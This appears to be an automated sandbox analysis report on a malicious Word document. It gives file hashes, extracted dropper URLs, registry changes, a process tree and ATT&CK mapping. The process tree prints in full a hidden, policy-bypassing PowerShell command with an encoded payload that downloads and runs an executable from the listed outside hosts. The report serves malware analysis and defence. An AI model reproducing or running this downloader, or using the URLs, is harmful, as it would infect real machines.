27a7986a402e6037a9e2a4306d260c27f9d1cf071f59dd3031b06b74e7c4741a

General

Target

27a7986a402e6037a9e2a4306d260c27f9d1cf071f59dd3031b06b74e7c4741a.doc
Size

122KB
MD5

f0a24b5b2777787a702aae58b99cacea
SHA1

4c2633e636ebed03d253ae9cb1288dd81cfd07c2
SHA256

27a7986a402e6037a9e2a4306d260c27f9d1cf071f59dd3031b06b74e7c4741a
SHA512

383f2365550496ad2dd75c24e057eeffcc49a73f7ab5838dbd503d12aaea9db40edac2a062ad8d3309ed68ff0833da24363296065bb6f45d26854a84daad6f8a

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://naft-dz.com/wp-content/cel3xz7ik6_u5a7be-354524163/

exe.dropper

http://fullinnova.com/video/AXINpXSB/

exe.dropper

http://novametal.cl/wp-includes/3r5l_nt34dqjxr7-3/

exe.dropper

http://ortodontagliwice.com.pl/wp-admin/TIPFceap/

exe.dropper

http://avrdevices.ru/Soft/ZIKmwKarDQ/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1420	1728	powershell.exe	29

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27a7986a402e6037a9e2a4306d260c27f9d1cf071f59dd3031b06b74e7c4741a.doc"
1⤵
- Modifies Internet Explorer settings
PID:1592
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABOADgAMgA3ADUANwA0ADcAPQAnAFYAMwAyADMAOAA2ACcAOwAkAFoANgAyADgAOAA3ADIAOAAgAD0AIAAnADcAOAA5ACcAOwAkAG8ANwAxADgANAA2ADUAPQAnAEYAOAAyADYANgAyADkAJwA7ACQAcQAxADIANAA3ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoANgAyADgAOAA3ADIAOAArACcALgBlAHgAZQAnADsAJABOADgANwAxAF8AOQA9ACcATgA0AF8AXwAyADkANgAnADsAJABJADQAMQA5ADcAOQA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAHQAYAAuAGAAVwBlAEIAYwBMAEkAYABlAE4AVAA7ACQASQA2ADEAMQAxAF8APQAnAGgAdAB0AHAAOgAvAC8AbgBhAGYAdAAtAGQAegAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGMAZQBsADMAeAB6ADcAaQBrADYAXwB1ADUAYQA3AGIAZQAtADMANQA0ADUAMgA0ADEANgAzAC8AQABoAHQAdABwADoALwAvAGYAdQBsAGwAaQBuAG4AbwB2AGEALgBjAG8AbQAvAHYAaQBkAGUAbwAvAEEAWABJAE4AcABYAFMAQgAvAEAAaAB0AHQAcAA6AC8ALwBuAG8AdgBhAG0AZQB0AGEAbAAuAGMAbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADMAcgA1AGwAXwBuAHQAMwA0AGQAcQBqAHgAcgA3AC0AMwAvAEAAaAB0AHQAcAA6AC8ALwBvAHIAdABvAGQAbwBuAHQAYQBnAGwAaQB3AGkAYwBlAC4AYwBvAG0ALgBwAGwALwB3AHAALQBhAGQAbQBpAG4ALwBUAEkAUABGAGMAZQBhAHAALwBAAGgAdAB0AHAAOgAvAC8AYQB2AHIAZABlAHYAaQBjAGUAcwAuAHIAdQAvAFMAbwBmAHQALwBaAEkASwBtAHcASwBhAHIARABRAC8AJwAuAHMAUABMAGkAVAAoACcAQAAnACkAOwAkAFAAMwAxADAAMQBfADcAPQAnAEEAMABfADkAMQA2ADEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAHAANAA0ADMAMABfADEAIABpAG4AIAAkAEkANgAxADEAMQBfACkAewB0AHIAeQB7ACQASQA0ADEAOQA3ADkALgBkAE8AVwBuAEwAbwBBAEQAZgBJAEwAZQAoACQAcAA0ADQAMwAwAF8AMQAsACAAJABxADEAMgA0ADcANgApADsAJABBADEAOQA3ADMANABfAD0AJwBIADgAXwAwADgANQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHEAMQAyADQANwA2ACkALgBMAGUAbgBnAHQASAAgAC0AZwBlACAAMwA2ADkAOAAyACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHEAMQAyADQANwA2ADsAJABmADIAMwA5ADEANAA2AD0AJwBXADYANAA1AF8AOAA0ACcAOwBiAHIAZQBhAGsAOwAkAHUAOABfADkAXwA5ADAANQA9ACcARgAyADYAMAAzAF8ANgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADEANQAyADYAOQA9ACcAbwA4ADkAMwA3ADMANQBfACcA
1⤵
- Process spawned unexpected child process
PID:1420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1420-67-0x0000000002784000-0x0000000002787000-memory.dmp

Filesize
12KB

Download
memory/1420-69-0x000000000278B000-0x00000000027AA000-memory.dmp

Filesize
124KB

Download
memory/1420-68-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/1420-66-0x000007FEF35D0000-0x000007FEF412D000-memory.dmp

Filesize
11.4MB

Download
memory/1592-64-0x00000000060F1000-0x00000000060F4000-memory.dmp

Filesize
12KB

Download
memory/1592-60-0x000000007130D000-0x0000000071318000-memory.dmp

Filesize
44KB

Download
memory/1592-63-0x00000000060F1000-0x00000000060F4000-memory.dmp

Filesize
12KB

Download
memory/1592-54-0x00000000728A1000-0x00000000728A4000-memory.dmp

Filesize
12KB

Download
memory/1592-62-0x00000000060E8000-0x00000000060EB000-memory.dmp

Filesize
12KB

Download
memory/1592-61-0x00000000060E8000-0x00000000060EB000-memory.dmp

Filesize
12KB

Download
memory/1592-57-0x0000000075581000-0x0000000075583000-memory.dmp

Filesize
8KB

Download
memory/1592-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1592-55-0x0000000070321000-0x0000000070323000-memory.dmp

Filesize
8KB

Download
memory/1592-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1948-59-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads